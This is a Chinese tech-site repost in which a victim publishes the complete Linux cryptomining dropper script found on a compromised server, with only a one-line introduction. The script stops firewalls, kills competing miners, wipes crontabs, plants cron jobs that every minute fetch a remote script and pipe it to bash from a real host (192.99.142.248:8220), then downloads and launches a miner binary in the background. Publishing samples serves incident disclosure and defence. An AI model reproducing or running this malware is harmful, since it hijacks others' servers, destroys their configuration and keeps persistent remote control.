经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置：技术经验 » 其他 » 网络安全 » 查看文章
挖矿肉鸡脚本案例分析
来源：cnblogs　　作者：prosess　　时间：2019/1/22 9:44:49　　对本文有异议 
  1. 几天前，亲身经历了被攻击-成为挖矿肉鸡的经历，先将脚本部分公布。
  1.   1 #!/bin/bash
  2.   2 mkdir /var/tmp
  3.   3 chattr -i /usr/bin/wget
  4.   4 chmod 755 /usr/bin/wget
  5.   5 chattr -i /usr/bin/curl
  6.   6 chmod 755 /usr/bin/curl
  7.   7 /etc/init.d/iptables stop
  8.   8 service iptables stop
  9.   9 SuSEfirewall2 stop
  10.  10 reSuSEfirewall2 stop
  11.  11 pkill -f sysxlj
  12.  12 pkill -f jourxlv
  13.  13 pkill -f sustes
  14.  14 touch /etc/ld.so.preload
  15.  15 netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  16.  16 netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  17.  17 rm -rf /usr/lib/void.so
  18.  18 rm -rf /etc/voidonce.sh
  19.  19 rm -rf /usr/local/lib/libjdk.so
  20.  20 rm -rf /usr/local/lib/libntp.so
  21.  21 ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
  22.  22 sed -i '$d' /etc/crontab
  23.  23 rm -rf /lib64/library1.so
  24.  24 rm -rf /usr/lib64/library1.so
  25.  25 iptables -I OUTPUT -s 167.99.166.61 -j DROP
  26.  26 iptables -I INPUT -s 167.99.166.61 -j DROP
  27.  27 iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
  28.  28 iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
  29.  29 rm -rf /etc/cron.monthly/oanacroner  
  30.  30 rm -rf /etc/cron.daily/oanacroner
  31.  31 rm -rf /etc/cron.hourly/oanacroner
  32.  32 rm -rf /usr/local/bin/dns
  33.  33 echo "" > /etc/crontab
  34.  34 echo "" > /etc/cron.d/root
  35.  35 echo "" > /etc/cron.d/apache
  36.  36 echo "" > /var/spool/cron/root
  37.  37 echo "" > /var/spool/cron/crontabs/root
  38.  38 chkconfig --del netdns
  39.  39 pkill -f netdns
  40.  40 echo "" > /etc/cron.d/system
  41.  41 chmod 777 /var/tmp
  42.  42 rm -rf /usr/local/bin/dns
  43.  43 rm -rf /usr/sbin/netdns
  44.  44 rm -rf /etc/init.d/netdns
  45.  45 rm -rf /etc/cron.monthly/oanacroner  
  46.  46 rm -rf /etc/cron.daily/oanacroner
  47.  47 rm -rf /etc/cron.hourly/oanacroner
  48.  48 chattr -i /usr/local/lib/libntpd.so
  49.  49 chmod 777 /usr/local/lib/libntpd.so
  50.  50 rm -rf /usr/local/lib/libntpd.so
  51.  51 sed -i '/libntpd.so/d'  /etc/ld.so.preload
  52.  52 crontab -l | sed '/pastebin.com/d' | crontab -
  53.  53 netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  54.  54 netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  55.  55 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  56.  56 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  57.  57 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  58.  58 netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  59.  59 netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  60.  60 netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  61.  61 netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  62.  62 pkill -f /usr/bin/.sshd
  63.  63 netstat -antp | grep '158.69.133.20:3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  64.  64 rm -rf /var/tmp/j*
  65.  65 rm -rf /tmp/j*
  66.  66 rm -rf /var/tmp/java
  67.  67 rm -rf /tmp/java
  68.  68 rm -rf /var/tmp/java2
  69.  69 rm -rf /tmp/java2
  70.  70 rm -rf /var/tmp/java*
  71.  71 rm -rf /tmp/java*
  72.  72 chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
  73.  73 chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
  74.  74 rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
  75.  75 rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
  76.  76 rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  77.  77 rm -rf /tmp/*index_bak*
  78.  78 rm -rf /tmp/*httpd.conf*
  79.  79 rm -rf /tmp/*httpd.conf
  80.  80 rm -rf /tmp/a7b104c270
  81.  81 rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
  82.  82 rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  83.  83 netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  84.  84 echo -e "*/1 * * * * root (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/root
  85.  85 echo -e "*/2 * * * * root (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
  86.  86 echo -e "*/30 * * * *    (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/root
  87.  87 mkdir -p /var/spool/cron/crontabs
  88.  88 echo -e "* * * * *    (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
  89.  89 mkdir -p /etc/cron.hourly
  90.  90 (curl -fsSL --connect-timeout 120 http://192.99.142.248:8220/11 -o /etc/cron.hourly/oanacroner1||http://192.99.142.248:8220/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
  91.  91 chmod 777 /var/tmp/sustse
  92.  92 ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid
  93.  93 do
  94.  94 kill -9 $procid
  95.  95 done
  96.  96 ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
  97.  97 ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
  98.  98 netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep
  99.  99 if [ $? -eq 0 ]
  100. 100 then
  101. 101 pwd
  102. 102 else
  103. 103 curl http://192.99.142.248:8220/2mr.sh | bash -sh
  104. 104 fi
  105. 105 sleep 2
  106. 106 netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep
  107. 107 if [ $? -eq 0 ]
  108. 108 then
  109. 109 pwd
  110. 110 else
  111. 111 curl http://192.99.142.248:8220/3mr.sh | bash -sh
  112. 112 fi
  113. 113 DIR="/var/tmp"
  114. 114 if [ -a "/var/tmp/sustse" ]
  115. 115 then
  116. 116     if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]
  117. 117     then
  118. 118         if [ -x "$(command -v md5sum)" ]
  119. 119         then
  120. 120             sum=$(md5sum /var/tmp/sustse | awk '{ print $1 }')
  121. 121             echo $sum
  122. 122             case $sum in
  123. 123                 042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
  124. 124                     echo "sustse OK"
  125. 125                 ;;
  126. 126                 *)
  127. 127                     echo "sustse wrong"
  128. 128                     pkill -f wc.conf
  129. 129                     pkill -f sustse
  130. 130                     sleep 4
  131. 131                 ;;
  132. 132             esac
  133. 133         fi
  134. 134         echo "P OK"
  135. 135     else
  136. 136         DIR=$(mktemp -d)/var/tmp
  137. 137         mkdir $DIR
  138. 138         echo "T DIR $DIR"
  139. 139     fi
  140. 140 else
  141. 141     if [ -d "/var/tmp" ]
  142. 142     then
  143. 143         DIR="/var/tmp"
  144. 144     fi
  145. 145     echo "P NOT EXISTS"
  146. 146 fi
  147. 147 if [ -d "/var/tmp/sustse" ]
  148. 148 then
  149. 149     DIR=$(mktemp -d)/var/tmp
  150. 150     mkdir $DIR
  151. 151     echo "T DIR $DIR"
  152. 152 fi
  153. 153 WGET="wget -O"
  154. 154 if [ -s /usr/bin/curl ];
  155. 155 then
  156. 156     WGET="curl -o";
  157. 157 fi
  158. 158 if [ -s /usr/bin/wget ];
  159. 159 then
  160. 160     WGET="wget -O";
  161. 161 fi
  162. 162 f2="192.99.142.248:8220"
  163. 163 
  164. 164 downloadIfNeed()
  165. 165 {
  166. 166     if [ -x "$(command -v md5sum)" ]
  167. 167     then
  168. 168         if [ ! -f $DIR/sustse ]; then
  169. 169             echo "File not found!"
  170. 170             download
  171. 171         fi
  172. 172         sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
  173. 173         echo $sum
  174. 174         case $sum in
  175. 175             042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
  176. 176                 echo "sustse OK"
  177. 177             ;;
  178. 178             *)
  179. 179                 echo "sustse wrong"
  180. 180                 sizeBefore=$(du $DIR/sustse)
  181. 181                 if [ -s /usr/bin/curl ];
  182. 182                 then
  183. 183                     WGET="curl -k -o ";
  184. 184                 fi
  185. 185                 if [ -s /usr/bin/wget ];
  186. 186                 then
  187. 187                     WGET="wget --no-check-certificate -O ";
  188. 188                 fi
  189. 189                 #$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse
  190. 190                 download
  191. 191                 sumAfter=$(md5sum $DIR/sustse | awk '{ print $1 }')
  192. 192                 if [ -s /usr/bin/curl ];
  193. 193                 then
  194. 194                     echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt
  195. 195                 fi
  196. 196             ;;
  197. 197         esac
  198. 198     else
  199. 199         echo "No md5sum"
  200. 200         download
  201. 201     fi
  202. 202 }
  203. 203 
  204. 204 download() {
  205. 205     if [ -x "$(command -v md5sum)" ]
  206. 206     then
  207. 207         sum=$(md5sum $DIR/sustse3 | awk '{ print $1 }')
  208. 208         echo $sum
  209. 209         case $sum in
  210. 210             042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
  211. 211                 echo "sustse OK"
  212. 212                 cp $DIR/sustse3 $DIR/sustse
  213. 213             ;;
  214. 214             *)
  215. 215                 echo "sustse wrong"
  216. 216                 download2
  217. 217             ;;
  218. 218         esac
  219. 219     else
  220. 220         echo "No md5sum"
  221. 221         download2
  222. 222     fi
  223. 223 }
  224. 224 
  225. 225 download2() {
  226. 226     if [ `getconf LONG_BIT` = "64" ]
  227. 227     then
  228. 228         $WGET $DIR/sustse http://192.99.142.248:8220/tte2
  229. 229     fi
  230. 230 
  231. 231     if [ -x "$(command -v md5sum)" ]
  232. 232     then
  233. 233         sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
  234. 234         echo $sum
  235. 235         case $sum in
  236. 236             042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
  237. 237                 echo "sustse OK"
  238. 238                 cp $DIR/sustse $DIR/sustse3
  239. 239             ;;
  240. 240             *)
  241. 241                 echo "sustse wrong"
  242. 242             ;;
  243. 243         esac
  244. 244     else
  245. 245         echo "No md5sum"
  246. 246     fi
  247. 247 }
  248. 248 
  249. 249 judge() {
  250. 250     if [ ! "$(netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep)" ];
  251. 251     then
  252. 252         ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
  253. 253           do
  254. 254           kill -9 $procid
  255. 255         done
  256. 256         downloadIfNeed
  257. 257         touch /var/tmp/123
  258. 258         pkill -f /var/tmp/java
  259. 259         pkill -f w.conf
  260. 260         chmod +x $DIR/sustse
  261. 261         $WGET $DIR/wc.conf http://$f2/wt.conf
  262. 262         nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
  263. 263         sleep 5
  264. 264     else
  265. 265        echo "Running"
  266. 266     fi
  267. 267 }
  268. 268 
  269. 269 judge2() {
  270. 270     if [ ! "$(ps -fe|grep 'sustse'|grep 'wc.conf'|grep -v grep)" ];
  271. 271     then
  272. 272         downloadIfNeed
  273. 273         chmod +x $DIR/sustse
  274. 274         $WGET $DIR/wc.conf http://$f2/wt.conf
  275. 275         nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
  276. 276         sleep 5
  277. 277     else
  278. 278         echo "Running"
  279. 279     fi
  280. 280 }
  281. 281 
  282. 282 if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
  283. 283 then
  284. 284     judge2
  285. 285 else
  286. 286     judge
  287. 287 fi
  288. 288 
  289. 289 if crontab -l | grep -q "192.99.142.248:8220"
  290. 290 then
  291. 291     echo "Cron exists"
  292. 292 else
  293. 293     crontab -r
  294. 294     echo "Cron not found"
  295. 295     LDR="wget -q -O -"
  296. 296     if [ -s /usr/bin/curl ];
  297. 297     then
  298. 298         LDR="curl";
  299. 299     fi
  300. 300     if [ -s /usr/bin/wget ];
  301. 301     then
  302. 302         LDR="wget -q -O -";
  303. 303     fi
  304. 304     (crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.248:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
  305. 305 fi
  306. 306 rm -rf /var/tmp/jrm
  307. 307 rm -rf /tmp/jrm
  308. 308 pkill -f 185.222.210.59
  309. 309 pkill -f 95.142.40.81
  310. 310 pkill -f 158.69.133.18
  311. 311 chmod 777 /var/tmp/sustse
  312. 312 crontab -l | sed '/185.222.210.59/d' | crontab -
View Code

 

原文链接：http://www.cnblogs.com/prosess/p/10300116.html

 友情链接：直通硅谷 　点职佳 　北美留学生论坛

网络安全热门文章

  • AI: Web: 2 Vulnhub Walkthrough - APT-101
  • 各类黑客大马默认密码后门
  • 蓝凌OA前台任意文件读取漏洞利用
  • 银河麒麟SP2 auditd服务内存泄露问题
  • confluence 挖矿木马应急响应 - APT-101
  • 信息安全题目整理（1）
  • 时间同步（NTP/PTP）技术原理介绍
  • apache log4j2 漏洞复现linux【纯详版】
  • Kali proxychains
  • 使用tor实现对网络的匿名访问

    • 网络安全推荐文章

  • 异构数据源数据同步 → 从源码分析 DataX 敏感信息的加解密
  • FFmpeg开发笔记（三十八）APP如何访问SRS推流的RTMP直播地址
  • Vulnhub-ICA01
  • 劫持TLS绕过canary && 堆和栈的灵活转换
  • 第二届黄河流域网络安全技能挑战赛Web_wirteup
  • 深入理解高级加密标准（Advanced Encryption Standard）
  • 渗透测试-信息收集
  • RC4Drop加密技术：原理、实践与安全性探究
  • 知名压缩软件 xz 被植入后门，黑客究竟是如何做到的？
  • 《熬夜整理》保姆级系列教程-玩转Wireshark抓包神器教程(1)-初识Wireshark - 北京-宏哥

    • 本站QQ群：前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

    W3xue 的所有内容仅供测试，对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
    关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接（目前9元/月）请联系QQ：27243702 沸活量
    皖ICP备17017327号-2　皖公网安备34020702000426号